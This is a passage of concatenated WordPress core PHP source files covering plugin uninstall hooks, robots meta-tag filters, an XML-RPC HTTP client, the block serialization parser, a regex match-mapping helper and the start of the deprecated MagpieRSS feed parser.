 * 'deactivate_sample.php'.
 *
 * @since 2.0.0
 *
 * @param string   $file     The filename of the plugin including the path.
 * @param callable $callback The function hooked to the 'deactivate_PLUGIN' action.
 */
function register_deactivation_hook( $file, $callback ) {
	$file = plugin_basename( $file );
	add_action( 'deactivate_' . $file, $callback );
}

/**
 * Sets the uninstallation hook for a plugin.
 *
 * Registers the uninstall hook that will be called when the user clicks on the
 * uninstall link that calls for the plugin to uninstall itself. The link won't
 * be active unless the plugin hooks into the action.
 *
 * The plugin should not run arbitrary code outside of functions, when
 * registering the uninstall hook. In order to run using the hook, the plugin
 * will have to be included, which means that any code laying outside of a
 * function will be run during the uninstallation process. The plugin should not
 * hinder the uninstallation process.
 *
 * If the plugin can not be written without running code within the plugin, then
 * the plugin should create a file named 'uninstall.php' in the base plugin
 * folder. This file will be called, if it exists, during the uninstallation process
 * bypassing the uninstall hook. The plugin, when using the 'uninstall.php'
 * should always check for the 'WP_UNINSTALL_PLUGIN' constant, before
 * executing.
 *
 * @since 2.7.0
 *
 * @param string   $file     Plugin file.
 * @param callable $callback The callback to run when the hook is called. Must be
 *                           a static method or function.
 */
function register_uninstall_hook( $file, $callback ) {
	if ( is_array( $callback ) && is_object( $callback[0] ) ) {
		_doing_it_wrong( __FUNCTION__, __( 'Only a static class method or function can be used in an uninstall hook.' ), '3.1.0' );
		return;
	}

	/*
	 * The option should not be autoloaded, because it is not needed in most
	 * cases. Emphasis should be put on using the 'uninstall.php' way of
	 * uninstalling the plugin.
	 */
	$uninstallable_plugins = (array) get_option( 'uninstall_plugins' );
	$plugin_basename       = plugin_basename( $file );

	if ( ! isset( $uninstallable_plugins[ $plugin_basename ] ) || $uninstallable_plugins[ $plugin_basename ] !== $callback ) {
		$uninstallable_plugins[ $plugin_basename ] = $callback;
		update_option( 'uninstall_plugins', $uninstallable_plugins );
	}
}

/**
 * Calls the 'all' hook, which will process the functions hooked into it.
 *
 * The 'all' hook passes all of the arguments or parameters that were used for
 * the hook, which this function was called for.
 *
 * This function is used internally for apply_filters(), do_action(), and
 * do_action_ref_array() and is not meant to be used from outside those
 * functions. This function does not check for the existence of the all hook, so
 * it will fail unless the all hook exists prior to this function call.
 *
 * @since 2.5.0
 * @access private
 *
 * @global WP_Hook[] $wp_filter Stores all of the filters and actions.
 *
 * @param array $args The collected parameters from the hook that was called.
 */
function _wp_call_all_hook( $args ) {
	global $wp_filter;

	$wp_filter['all']->do_all_hook( $args );
}

/**
 * Builds a unique string ID for a hook callback function.
 *
 * Functions and static method callbacks are just returned as strings and
 * shouldn't have any speed penalty.
 *
 * @link https://core.trac.wordpress.org/ticket/3875
 *
 * @since 2.2.3
 * @since 5.3.0 Removed workarounds for spl_object_hash().
 *              `$hook_name` and `$priority` are no longer used,
 *              and the function always returns a string.
 *
 * @access private
 *
 * @param string                $hook_name Unused. The name of the filter to build ID for.
 * @param callable|string|array $callback  The callback to generate ID for. The callback may
 *                                         or may not exist.
 * @param int                   $priority  Unused. The order in which the functions
 *                                         associated with a particular action are executed.
 * @return string Unique function ID for usage as array key.
 */
function _wp_filter_build_unique_id( $hook_name, $callback, $priority ) {
	if ( is_string( $callback ) ) {
		return $callback;
	}

	if ( is_object( $callback ) ) {
		// Closures are currently implemented as objects.
		$callback = array( $callback, '' );
	} else {
		$callback = (array) $callback;
	}

	if ( is_object( $callback[0] ) ) {
		// Object class calling.
		return spl_object_hash( $callback[0] ) . $callback[1];
	} elseif ( is_string( $callback[0] ) ) {
		// Static calling.
		return $callback[0] . '::' . $callback[1];
	}
}
<?php
/**
 * Robots template functions.
 *
 * @package WordPress
 * @subpackage Robots
 * @since 5.7.0
 */

/**
 * Displays the robots meta tag as necessary.
 *
 * Gathers robots directives to include for the current context, using the
 * {@see 'wp_robots'} filter. The directives are then sanitized, and the
 * robots meta tag is output if there is at least one relevant directive.
 *
 * @since 5.7.0
 * @since 5.7.1 No longer prevents specific directives to occur together.
 */
function wp_robots() {
	/**
	 * Filters the directives to be included in the 'robots' meta tag.
	 *
	 * The meta tag will only be included as necessary.
	 *
	 * @since 5.7.0
	 *
	 * @param array $robots Associative array of directives. Every key must be the name of the directive, and the
	 *                      corresponding value must either be a string to provide as value for the directive or a
	 *                      boolean `true` if it is a boolean directive, i.e. without a value.
	 */
	$robots = apply_filters( 'wp_robots', array() );

	$robots_strings = array();
	foreach ( $robots as $directive => $value ) {
		if ( is_string( $value ) ) {
			// If a string value, include it as value for the directive.
			$robots_strings[] = "{$directive}:{$value}";
		} elseif ( $value ) {
			// Otherwise, include the directive if it is truthy.
			$robots_strings[] = $directive;
		}
	}

	if ( empty( $robots_strings ) ) {
		return;
	}

	echo "<meta name='robots' content='" . esc_attr( implode( ', ', $robots_strings ) ) . "' />\n";
}

/**
 * Adds `noindex` to the robots meta tag if required by the site configuration.
 *
 * If a blog is marked as not being public then noindex will be output to
 * tell web robots not to index the page content. Add this to the
 * {@see 'wp_robots'} filter.
 *
 * Typical usage is as a {@see 'wp_robots'} callback:
 *
 *     add_filter( 'wp_robots', 'wp_robots_noindex' );
 *
 * @since 5.7.0
 *
 * @see wp_robots_no_robots()
 *
 * @param array $robots Associative array of robots directives.
 * @return array Filtered robots directives.
 */
function wp_robots_noindex( array $robots ) {
	if ( ! get_option( 'blog_public' ) ) {
		return wp_robots_no_robots( $robots );
	}

	return $robots;
}

/**
 * Adds `noindex` to the robots meta tag for embeds.
 *
 * Typical usage is as a {@see 'wp_robots'} callback:
 *
 *     add_filter( 'wp_robots', 'wp_robots_noindex_embeds' );
 *
 * @since 5.7.0
 *
 * @see wp_robots_no_robots()
 *
 * @param array $robots Associative array of robots directives.
 * @return array Filtered robots directives.
 */
function wp_robots_noindex_embeds( array $robots ) {
	if ( is_embed() ) {
		return wp_robots_no_robots( $robots );
	}

	return $robots;
}

/**
 * Adds `noindex` to the robots meta tag if a search is being performed.
 *
 * If a search is being performed then noindex will be output to
 * tell web robots not to index the page content. Add this to the
 * {@see 'wp_robots'} filter.
 *
 * Typical usage is as a {@see 'wp_robots'} callback:
 *
 *     add_filter( 'wp_robots', 'wp_robots_noindex_search' );
 *
 * @since 5.7.0
 *
 * @see wp_robots_no_robots()
 *
 * @param array $robots Associative array of robots directives.
 * @return array Filtered robots directives.
 */
function wp_robots_noindex_search( array $robots ) {
	if ( is_search() ) {
		return wp_robots_no_robots( $robots );
	}

	return $robots;
}

/**
 * Adds `noindex` to the robots meta tag.
 *
 * This directive tells web robots not to index the page content.
 *
 * Typical usage is as a {@see 'wp_robots'} callback:
 *
 *     add_filter( 'wp_robots', 'wp_robots_no_robots' );
 *
 * @since 5.7.0
 *
 * @param array $robots Associative array of robots directives.
 * @return array Filtered robots directives.
 */
function wp_robots_no_robots( array $robots ) {
	$robots['noindex'] = true;

	if ( get_option( 'blog_public' ) ) {
		$robots['follow'] = true;
	} else {
		$robots['nofollow'] = true;
	}

	return $robots;
}

/**
 * Adds `noindex` and `noarchive` to the robots meta tag.
 *
 * This directive tells web robots not to index or archive the page content and
 * is recommended to be used for sensitive pages.
 *
 * Typical usage is as a {@see 'wp_robots'} callback:
 *
 *     add_filter( 'wp_robots', 'wp_robots_sensitive_page' );
 *
 * @since 5.7.0
 *
 * @param array $robots Associative array of robots directives.
 * @return array Filtered robots directives.
 */
function wp_robots_sensitive_page( array $robots ) {
	$robots['noindex']   = true;
	$robots['noarchive'] = true;
	return $robots;
}

/**
 * Adds `max-image-preview:large` to the robots meta tag.
 *
 * This directive tells web robots that large image previews are allowed to be
 * displayed, e.g. in search engines, unless the blog is marked as not being public.
 *
 * Typical usage is as a {@see 'wp_robots'} callback:
 *
 *     add_filter( 'wp_robots', 'wp_robots_max_image_preview_large' );
 *
 * @since 5.7.0
 *
 * @param array $robots Associative array of robots directives.
 * @return array Filtered robots directives.
 */
function wp_robots_max_image_preview_large( array $robots ) {
	if ( get_option( 'blog_public' ) ) {
		$robots['max-image-preview'] = 'large';
	}
	return $robots;
}
<?php
/**
 * WP_HTTP_IXR_Client
 *
 * @package WordPress
 * @since 3.1.0
 */
#[AllowDynamicProperties]
class WP_HTTP_IXR_Client extends IXR_Client {
	public $scheme;
	/**
	 * @var IXR_Error
	 */
	public $error;

	/**
	 * @param string       $server
	 * @param string|false $path
	 * @param int|false    $port
	 * @param int          $timeout
	 */
	public function __construct( $server, $path = false, $port = false, $timeout = 15 ) {
		if ( ! $path ) {
			// Assume we have been given a URL instead.
			$bits         = parse_url( $server );
			$this->scheme = $bits['scheme'];
			$this->server = $bits['host'];
			$this->port   = isset( $bits['port'] ) ? $bits['port'] : $port;
			$this->path   = ! empty( $bits['path'] ) ? $bits['path'] : '/';

			// Make absolutely sure we have a path.
			if ( ! $this->path ) {
				$this->path = '/';
			}

			if ( ! empty( $bits['query'] ) ) {
				$this->path .= '?' . $bits['query'];
			}
		} else {
			$this->scheme = 'http';
			$this->server = $server;
			$this->path   = $path;
			$this->port   = $port;
		}
		$this->useragent = 'The Incutio XML-RPC PHP Library';
		$this->timeout   = $timeout;
	}

	/**
	 * @since 3.1.0
	 * @since 5.5.0 Formalized the existing `...$args` parameter by adding it
	 *              to the function signature.
	 *
	 * @return bool
	 */
	public function query( ...$args ) {
		$method  = array_shift( $args );
		$request = new IXR_Request( $method, $args );
		$xml     = $request->getXml();

		$port = $this->port ? ":$this->port" : '';
		$url  = $this->scheme . '://' . $this->server . $port . $this->path;
		$args = array(
			'headers'    => array( 'Content-Type' => 'text/xml' ),
			'user-agent' => $this->useragent,
			'body'       => $xml,
		);

		// Merge Custom headers ala #8145.
		foreach ( $this->headers as $header => $value ) {
			$args['headers'][ $header ] = $value;
		}

		/**
		 * Filters the headers collection to be sent to the XML-RPC server.
		 *
		 * @since 4.4.0
		 *
		 * @param string[] $headers Associative array of headers to be sent.
		 */
		$args['headers'] = apply_filters( 'wp_http_ixr_client_headers', $args['headers'] );

		if ( false !== $this->timeout ) {
			$args['timeout'] = $this->timeout;
		}

		// Now send the request.
		if ( $this->debug ) {
			echo '<pre class="ixr_request">' . htmlspecialchars( $xml ) . "\n</pre>\n\n";
		}

		$response = wp_remote_post( $url, $args );

		if ( is_wp_error( $response ) ) {
			$errno       = $response->get_error_code();
			$errorstr    = $response->get_error_message();
			$this->error = new IXR_Error( -32300, "transport error: $errno $errorstr" );
			return false;
		}

		if ( 200 !== wp_remote_retrieve_response_code( $response ) ) {
			$this->error = new IXR_Error( -32301, 'transport error - HTTP status code was not 200 (' . wp_remote_retrieve_response_code( $response ) . ')' );
			return false;
		}

		if ( $this->debug ) {
			echo '<pre class="ixr_response">' . htmlspecialchars( wp_remote_retrieve_body( $response ) ) . "\n</pre>\n\n";
		}

		// Now parse what we've got back.
		$this->message = new IXR_Message( wp_remote_retrieve_body( $response ) );
		if ( ! $this->message->parse() ) {
			// XML error.
			$this->error = new IXR_Error( -32700, 'parse error. not well formed' );
			return false;
		}

		// Is the message a fault?
		if ( 'fault' === $this->message->messageType ) {
			$this->error = new IXR_Error( $this->message->faultCode, $this->message->faultString );
			return false;
		}

		// Message must be OK.
		return true;
	}
}
<?php
/**
 * Block Serialization Parser
 *
 * @package WordPress
 */

/**
 * Class WP_Block_Parser
 *
 * Parses a document and constructs a list of parsed block objects
 *
 * @since 5.0.0
 * @since 4.0.0 returns arrays not objects, all attributes are arrays
 */
class WP_Block_Parser {
	/**
	 * Input document being parsed
	 *
	 * @example "Pre-text\n<!-- wp:paragraph -->This is inside a block!<!-- /wp:paragraph -->"
	 *
	 * @since 5.0.0
	 * @var string
	 */
	public $document;

	/**
	 * Tracks parsing progress through document
	 *
	 * @since 5.0.0
	 * @var int
	 */
	public $offset;

	/**
	 * List of parsed blocks
	 *
	 * @since 5.0.0
	 * @var WP_Block_Parser_Block[]
	 */
	public $output;

	/**
	 * Stack of partially-parsed structures in memory during parse
	 *
	 * @since 5.0.0
	 * @var WP_Block_Parser_Frame[]
	 */
	public $stack;

	/**
	 * Parses a document and returns a list of block structures
	 *
	 * When encountering an invalid parse will return a best-effort
	 * parse. In contrast to the specification parser this does not
	 * return an error on invalid inputs.
	 *
	 * @since 5.0.0
	 *
	 * @param string $document Input document being parsed.
	 * @return array[]
	 */
	public function parse( $document ) {
		$this->document = $document;
		$this->offset   = 0;
		$this->output   = array();
		$this->stack    = array();

		while ( $this->proceed() ) {
			continue;
		}

		return $this->output;
	}

	/**
	 * Processes the next token from the input document
	 * and returns whether to proceed eating more tokens
	 *
	 * This is the "next step" function that essentially
	 * takes a token as its input and decides what to do
	 * with that token before descending deeper into a
	 * nested block tree or continuing along the document
	 * or breaking out of a level of nesting.
	 *
	 * @internal
	 * @since 5.0.0
	 * @return bool
	 */
	public function proceed() {
		$next_token = $this->next_token();
		list( $token_type, $block_name, $attrs, $start_offset, $token_length ) = $next_token;
		$stack_depth = count( $this->stack );

		// we may have some HTML soup before the next block.
		$leading_html_start = $start_offset > $this->offset ? $this->offset : null;

		switch ( $token_type ) {
			case 'no-more-tokens':
				// if not in a block then flush output.
				if ( 0 === $stack_depth ) {
					$this->add_freeform();
					return false;
				}

				/*
				 * Otherwise we have a problem
				 * This is an error
				 *
				 * we have options
				 * - treat it all as freeform text
				 * - assume an implicit closer (easiest when not nesting)
				 */

				// for the easy case we'll assume an implicit closer.
				if ( 1 === $stack_depth ) {
					$this->add_block_from_stack();
					return false;
				}

				/*
				 * for the nested case where it's more difficult we'll
				 * have to assume that multiple closers are missing
				 * and so we'll collapse the whole stack piecewise
				 */
				while ( 0 < count( $this->stack ) ) {
					$this->add_block_from_stack();
				}
				return false;

			case 'void-block':
				/*
				 * easy case is if we stumbled upon a void block
				 * in the top-level of the document
				 */
				if ( 0 === $stack_depth ) {
					if ( isset( $leading_html_start ) ) {
						$this->output[] = (array) $this->freeform(
							substr(
								$this->document,
								$leading_html_start,
								$start_offset - $leading_html_start
							)
						);
					}

					$this->output[] = (array) new WP_Block_Parser_Block( $block_name, $attrs, array(), '', array() );
					$this->offset   = $start_offset + $token_length;
					return true;
				}

				// otherwise we found an inner block.
				$this->add_inner_block(
					new WP_Block_Parser_Block( $block_name, $attrs, array(), '', array() ),
					$start_offset,
					$token_length
				);
				$this->offset = $start_offset + $token_length;
				return true;

			case 'block-opener':
				// track all newly-opened blocks on the stack.
				array_push(
					$this->stack,
					new WP_Block_Parser_Frame(
						new WP_Block_Parser_Block( $block_name, $attrs, array(), '', array() ),
						$start_offset,
						$token_length,
						$start_offset + $token_length,
						$leading_html_start
					)
				);
				$this->offset = $start_offset + $token_length;
				return true;

			case 'block-closer':
				/*
				 * if we're missing an opener we're in trouble
				 * This is an error
				 */
				if ( 0 === $stack_depth ) {
					/*
					 * we have options
					 * - assume an implicit opener
					 * - assume _this_ is the opener
					 * - give up and close out the document
					 */
					$this->add_freeform();
					return false;
				}

				// if we're not nesting then this is easy - close the block.
				if ( 1 === $stack_depth ) {
					$this->add_block_from_stack( $start_offset );
					$this->offset = $start_offset + $token_length;
					return true;
				}

				/*
				 * otherwise we're nested and we have to close out the current
				 * block and add it as a new innerBlock to the parent
				 */
				$stack_top                        = array_pop( $this->stack );
				$html                             = substr( $this->document, $stack_top->prev_offset, $start_offset - $stack_top->prev_offset );
				$stack_top->block->innerHTML     .= $html;
				$stack_top->block->innerContent[] = $html;
				$stack_top->prev_offset           = $start_offset + $token_length;

				$this->add_inner_block(
					$stack_top->block,
					$stack_top->token_start,
					$stack_top->token_length,
					$start_offset + $token_length
				);
				$this->offset = $start_offset + $token_length;
				return true;

			default:
				// This is an error.
				$this->add_freeform();
				return false;
		}
	}

	/**
	 * Scans the document from where we last left off
	 * and finds the next valid token to parse if it exists
	 *
	 * Returns the type of the find: kind of find, block information, attributes
	 *
	 * @internal
	 * @since 5.0.0
	 * @since 4.6.1 fixed a bug in attribute parsing which caused catastrophic backtracking on invalid block comments
	 * @return array
	 */
	public function next_token() {
		$matches = null;

		/*
		 * aye the magic
		 * we're using a single RegExp to tokenize the block comment delimiters
		 * we're also using a trick here because the only difference between a
		 * block opener and a block closer is the leading `/` before `wp:` (and
		 * a closer has no attributes). we can trap them both and process the
		 * match back in PHP to see which one it was.
		 */
		$has_match = preg_match(
			'/<!--\s+(?P<closer>\/)?wp:(?P<namespace>[a-z][a-z0-9_-]*\/)?(?P<name>[a-z][a-z0-9_-]*)\s+(?P<attrs>{(?:(?:[^}]+|}+(?=})|(?!}\s+\/?-->).)*+)?}\s+)?(?P<void>\/)?-->/s',
			$this->document,
			$matches,
			PREG_OFFSET_CAPTURE,
			$this->offset
		);

		// if we get here we probably have catastrophic backtracking or out-of-memory in the PCRE.
		if ( false === $has_match ) {
			return array( 'no-more-tokens', null, null, null, null );
		}

		// we have no more tokens.
		if ( 0 === $has_match ) {
			return array( 'no-more-tokens', null, null, null, null );
		}

		list( $match, $started_at ) = $matches[0];

		$length    = strlen( $match );
		$is_closer = isset( $matches['closer'] ) && -1 !== $matches['closer'][1];
		$is_void   = isset( $matches['void'] ) && -1 !== $matches['void'][1];
		$namespace = $matches['namespace'];
		$namespace = ( isset( $namespace ) && -1 !== $namespace[1] ) ? $namespace[0] : 'core/';
		$name      = $namespace . $matches['name'][0];
		$has_attrs = isset( $matches['attrs'] ) && -1 !== $matches['attrs'][1];

		/*
		 * Fun fact! It's not trivial in PHP to create "an empty associative array" since all arrays
		 * are associative arrays. If we use `array()` we get a JSON `[]`
		 */
		$attrs = $has_attrs
			? json_decode( $matches['attrs'][0], /* as-associative */ true )
			: array();

		/*
		 * This state isn't allowed
		 * This is an error
		 */
		if ( $is_closer && ( $is_void || $has_attrs ) ) {
			// we can ignore them since they don't hurt anything.
		}

		if ( $is_void ) {
			return array( 'void-block', $name, $attrs, $started_at, $length );
		}

		if ( $is_closer ) {
			return array( 'block-closer', $name, null, $started_at, $length );
		}

		return array( 'block-opener', $name, $attrs, $started_at, $length );
	}

	/**
	 * Returns a new block object for freeform HTML
	 *
	 * @internal
	 * @since 3.9.0
	 *
	 * @param string $inner_html HTML content of block.
	 * @return WP_Block_Parser_Block freeform block object.
	 */
	public function freeform( $inner_html ) {
		return new WP_Block_Parser_Block( null, array(), array(), $inner_html, array( $inner_html ) );
	}

	/**
	 * Pushes a length of text from the input document
	 * to the output list as a freeform block.
	 *
	 * @internal
	 * @since 5.0.0
	 * @param null $length how many bytes of document text to output.
	 */
	public function add_freeform( $length = null ) {
		$length = $length ? $length : strlen( $this->document ) - $this->offset;

		if ( 0 === $length ) {
			return;
		}

		$this->output[] = (array) $this->freeform( substr( $this->document, $this->offset, $length ) );
	}

	/**
	 * Given a block structure from memory pushes
	 * a new block to the output list.
	 *
	 * @internal
	 * @since 5.0.0
	 * @param WP_Block_Parser_Block $block        The block to add to the output.
	 * @param int                   $token_start  Byte offset into the document where the first token for the block starts.
	 * @param int                   $token_length Byte length of entire block from start of opening token to end of closing token.
	 * @param int|null              $last_offset  Last byte offset into document if continuing form earlier output.
	 */
	public function add_inner_block( WP_Block_Parser_Block $block, $token_start, $token_length, $last_offset = null ) {
		$parent                       = $this->stack[ count( $this->stack ) - 1 ];
		$parent->block->innerBlocks[] = (array) $block;
		$html                         = substr( $this->document, $parent->prev_offset, $token_start - $parent->prev_offset );

		if ( ! empty( $html ) ) {
			$parent->block->innerHTML     .= $html;
			$parent->block->innerContent[] = $html;
		}

		$parent->block->innerContent[] = null;
		$parent->prev_offset           = $last_offset ? $last_offset : $token_start + $token_length;
	}

	/**
	 * Pushes the top block from the parsing stack to the output list.
	 *
	 * @internal
	 * @since 5.0.0
	 * @param int|null $end_offset byte offset into document for where we should stop sending text output as HTML.
	 */
	public function add_block_from_stack( $end_offset = null ) {
		$stack_top   = array_pop( $this->stack );
		$prev_offset = $stack_top->prev_offset;

		$html = isset( $end_offset )
			? substr( $this->document, $prev_offset, $end_offset - $prev_offset )
			: substr( $this->document, $prev_offset );

		if ( ! empty( $html ) ) {
			$stack_top->block->innerHTML     .= $html;
			$stack_top->block->innerContent[] = $html;
		}

		if ( isset( $stack_top->leading_html_start ) ) {
			$this->output[] = (array) $this->freeform(
				substr(
					$this->document,
					$stack_top->leading_html_start,
					$stack_top->token_start - $stack_top->leading_html_start
				)
			);
		}

		$this->output[] = (array) $stack_top->block;
	}
}

/**
 * WP_Block_Parser_Block class.
 *
 * Required for backward compatibility in WordPress Core.
 */
require_once __DIR__ . '/class-wp-block-parser-block.php';

/**
 * WP_Block_Parser_Frame class.
 *
 * Required for backward compatibility in WordPress Core.
 */
require_once __DIR__ . '/class-wp-block-parser-frame.php';
<?php
/**
 * WP_MatchesMapRegex helper class
 *
 * @package WordPress
 * @since 4.7.0
 */

/**
 * Helper class to remove the need to use eval to replace $matches[] in query strings.
 *
 * @since 2.9.0
 */
#[AllowDynamicProperties]
class WP_MatchesMapRegex {
	/**
	 * store for matches
	 *
	 * @var array
	 */
	private $_matches;

	/**
	 * store for mapping result
	 *
	 * @var string
	 */
	public $output;

	/**
	 * subject to perform mapping on (query string containing $matches[] references
	 *
	 * @var string
	 */
	private $_subject;

	/**
	 * regexp pattern to match $matches[] references
	 *
	 * @var string
	 */
	public $_pattern = '(\$matches\[[1-9]+[0-9]*\])'; // Magic number.

	/**
	 * constructor
	 *
	 * @param string $subject subject if regex
	 * @param array  $matches data to use in map
	 */
	public function __construct( $subject, $matches ) {
		$this->_subject = $subject;
		$this->_matches = $matches;
		$this->output   = $this->_map();
	}

	/**
	 * Substitute substring matches in subject.
	 *
	 * static helper function to ease use
	 *
	 * @param string $subject subject
	 * @param array  $matches data used for substitution
	 * @return string
	 */
	public static function apply( $subject, $matches ) {
		$result = new WP_MatchesMapRegex( $subject, $matches );
		return $result->output;
	}

	/**
	 * do the actual mapping
	 *
	 * @return string
	 */
	private function _map() {
		$callback = array( $this, 'callback' );
		return preg_replace_callback( $this->_pattern, $callback, $this->_subject );
	}

	/**
	 * preg_replace_callback hook
	 *
	 * @param array $matches preg_replace regexp matches
	 * @return string
	 */
	public function callback( $matches ) {
		$index = (int) substr( $matches[0], 9, -1 );
		return ( isset( $this->_matches[ $index ] ) ? urlencode( $this->_matches[ $index ] ) : '' );
	}
}
<?php
/**
 * MagpieRSS: a simple RSS integration tool
 *
 * A compiled file for RSS syndication
 *
 * @author Kellan Elliott-McCrea <kellan@protest.net>
 * @version 0.51
 * @license GPL
 *
 * @package External
 * @subpackage MagpieRSS
 * @deprecated 3.0.0 Use SimplePie instead.
 */

/**
 * Deprecated. Use SimplePie (class-simplepie.php) instead.
 */
_deprecated_file( basename( __FILE__ ), '3.0.0', WPINC . '/class-simplepie.php' );

/**
 * Fires before MagpieRSS is loaded, to optionally replace it.
 *
 * @since 2.3.0
 * @deprecated 3.0.0
 */
do_action( 'load_feed_engine' );

/** RSS feed constant. */
define('RSS', 'RSS');
define('ATOM', 'Atom');
define('MAGPIE_USER_AGENT', 'WordPress/' . $GLOBALS['wp_version']);

class MagpieRSS {
	var $parser;
	var $current_item	= array();	// item currently being parsed
	var $items			= array();	// collection of parsed items
	var $channel		= array();	// hash of channel fields
	var $textinput		= array();
	var $image			= array();
	var $feed_type;
	var $feed_version;

	// parser variables
	var $stack				= array(); // parser stack
	var $inchannel			= false;
	var $initem 			= false;
	var $incontent			= false; // if in Atom <content mode="xml"> field
	var $intextinput		= false;
	var $inimage 			= false;
	var $current_field		= '';
	var $current_namespace	= false;

	//var $ERROR = "";

	var $_CONTENT_CONSTRUCTS = array('content', 'summary', 'info', 'title', 'tagline', 'copyright');

	/**
	 * PHP5 constructor.
	 */
	function __construct( $source ) {

		# Check if PHP xml isn't compiled
		#
		if ( ! function_exists('xml_parser_create') ) {
			return trigger_error( "PHP's XML extension is not available. Please contact your hosting provider to enable PHP's XML extension." );
		}

		$parser = xml_parser_create();

		$this->parser = $parser;

		# pass in parser, and a reference to this object
		# set up handlers
		#
		xml_set_object( $this->parser, $this );
		xml_set_element_handler($this->parser,
				'feed_start_element', 'feed_end_element' );

		xml_set_character_data_handler( $this->parser, 'feed_cdata' );

		$status = xml_parse( $this->parser, $source );

		if (! $status ) {
			$errorcode = xml_get_error_code( $this->parser );
			if ( $errorcode != XML_ERROR_NONE ) {
				$xml_error = xml_error_string( $errorcode );
				$error_line = xml_get_current_line_number($this->parser);
				$error_col = xml_get_current_column_number($this->parser);
				$errormsg = "$xml_error at line $error_line, column $error_col";

				$this->error( $errormsg );
			}
		}

		xml_parser_free( $this->parser );
		unset( $this->parser );

		$this->normalize();
	}

	/**
	 * PHP4 constructor.
	 */
	public function MagpieRSS( $source ) {
		self::__construct( $source );
	}

	function feed_start_element($p, $element, &$attrs) {
		$el = $element = strtolower($element);
		$attrs = array_change_key_case($attrs, CASE_LOWER);

		// check for a namespace, and split if found
		$ns	= false;
		if ( strpos( $element, ':' ) ) {
			list($ns, $el) = explode( ':', $element, 2);
		}
		if ( $ns and $ns != 'rdf' ) {
			$this->current_namespace = $ns;
		}

		# if feed type isn't set, then this is first element of feed
		# identify feed from root element
		#
		if (!isset($this->feed_type) ) {
			if ( $el == 'rdf' ) {
				$this->feed_type = RSS;
				$this->feed_version = '1.0';
			}
			elseif ( $el == 'rss' ) {
				$this->feed_type = RSS;
				$this->feed_version = $attrs['version'];
			}
			elseif ( $el == 'feed' ) {
				$this->feed_type = ATOM;
				$this->feed_version = $attrs['version'];
				$this->inchannel = true;
			}
			return;
		}

		if ( $el == 'channel' )
		{
			$this->inchannel = true;
		}
		elseif ($el == 'item' or $el == 'entry' )
		{
			$this->initem = true;
			if ( isset($attrs['rdf:about']) ) {
				$this->current_item['about'] = $attrs['rdf:about'];
			}
		}

		// if we're in the default namespace of an RSS feed,
		//  record textinput or image fields
		elseif (
			$this->feed_type == RSS and
			$this->current_namespace == '' and
			$el == 'textinput' )
		{
			$this->intextinput = true;
		}

		elseif (
			$this->feed_type == RSS and
			$this->current_namespace == '' and
			$el == 'image' )
		{
			$this->inimage = true;
		}

		# handle atom content constructs
		elseif ( $this->feed_type == ATOM and in_array($el, $this->_CONTENT_CONSTRUCTS) )
		{
			// avoid clashing w/ RSS mod_content
			if ($el == 'content' ) {
				$el = 'atom_content';
			}

			$this->incontent = $el;

		}

		// if inside an Atom content construct (e.g. content or summary) field treat tags as text
		elseif ($this->feed_type == ATOM and $this->incontent )
		{
			// if tags are inlined, then flatten
			$attrs_str = join(' ',
					array_map(array('MagpieRSS', 'map_attrs'),
					array_keys($attrs),
					array_values($attrs) ) );

			$this->append_content( "<$element $attrs_str>"  );

			array_unshift( $this->stack, $el );
		}

		// Atom support many links per containing element.
		// Magpie treats link elements of type rel='alternate'
		// as being equivalent to RSS's simple link element.
		//
		elseif ($this->feed_type == ATOM and $el == 'link' )
		{
			if ( isset($attrs['rel']) and $attrs['rel'] == 'alternate' )
			{
				$link_el = 'link';
			}
			else {
				$link_el = 'link_' . $attrs['rel'];
			}

			$this->append($link_el, $attrs['href']);
		}
		// set stack[0] to current element
		else {
			array_unshift($this->stack, $el);
		}
	}

	function feed_cdata ($p, $text) {

		if ($this->feed_type == ATOM and $this->incontent)
		{
			$this->append_content( $text );
		}
		else {
			$current_el = join('_', array_reverse($this->stack));
			$this->append($current_el, $text);
		}
	}

	function feed_end_element ($p, $el) {
		$el = strtolower($el);

		if ( $el == 'item' or $el == 'entry' )
		{
			$this->items[] = $this->current_item;
			$this->current_item = array();
			$this->initem = false;
		}
		elseif ($this->feed_type == RSS and $this->current_namespace == '' and $el == 'textinput' )
		{
			$this->intextinput = false;
		}
		elseif ($this->feed_type == RSS and $this->current_namespace == '' and $el == 'image' )
		{
			$this->inimage = false;
		}
		elseif ($this->feed_type == ATOM and in_array($el, $this->_CONTENT_CONSTRUCTS) )
		{
			$this->incontent = false;
		}
		elseif ($el == 'channel' or $el == 'feed' )
		{
			$this->inchannel = false;
		}
		elseif ($this->feed_type == ATOM and $this->incontent  ) {
			// balance tags properly
			// note: This may not actually be necessary
			if ( $this->stack[0] == $el )
			{
				$this->append_content("</$el>");
			}
			else {
				$this->append_content("<$el />");
			}

			array_shift( $this->stack );
		}
		else {
			array_shift( $this->stack );
		}

		$this->current_namespace = false;
	}

	function concat (&$str1, $str2="") {
		if (!isset($str1) ) {
			$str1="";
		}
		$str1 .= $str2;
	}

	function append_content($text) {
		if ( $this->initem ) {
			$this->concat( $this->current_item[ $this->incontent ], $text );
		}
		elseif ( $this->inchannel ) {
			$this->concat( $this->channel[ $this->incontent ], $text );
		}
	}

	// smart append - field and namespace aware
	function append($el, $text) {
		if (!$el) {
			return;
		}
		if ( $this->current_namespace )
		{
			if ( $this->initem ) {
				$this->concat(
					$this->current_item[ $this->current_namespace ][ $el ], $text);
			}
			elseif ($this->inchannel) {
				$this->concat(
					$this->channel[ $this->current_namespace][ $el ], $text );
			}
			elseif ($this->intextinput) {
				$this->concat(
					$this->textinput[ $this->current_namespace][ $el ], $text );
			}
			elseif ($this->inimage) {
				$this->concat(
					$this->image[ $this->current_namespace ][ $el ], $text );
			}
		}
		else {
			if ( $this->initem ) {
				$this->concat(
					$this->current_item[ $el ], $text);
			}
			elseif ($this->intextinput) {
				$this->concat(
					$this->textinput[ $el ], $text );
			}
			elseif ($this->inimage) {
				$this->concat(
					$this->image[ $el ], $text );
			}
			elseif ($this->inchannel) {
				$this->concat(
					$this->channel[ $el ], $text );
			}

		}
	}

	function normalize () {
		// if atom populate rss fields
		if ( $this->is_atom() ) {
			$this->channel['description'] = $this->channel['tagline'];
			for ( $i = 0; $i < count($this->items); $i++) {
				$item = $this->items[$i];
				if ( isset($item['summary']) )
					$item['description'] = $item['summary'];
				if ( isset($item['atom_content']))
					$item['content']['encoded'] = $item['atom_content'];

				$this->items[$i] = $item;
			}
		}
		elseif ( $this->is_rss() ) {
			$this->channel['tagline'] = $this->channel['description'];
			for ( $i = 0; $i < count($this->items); $i++) {
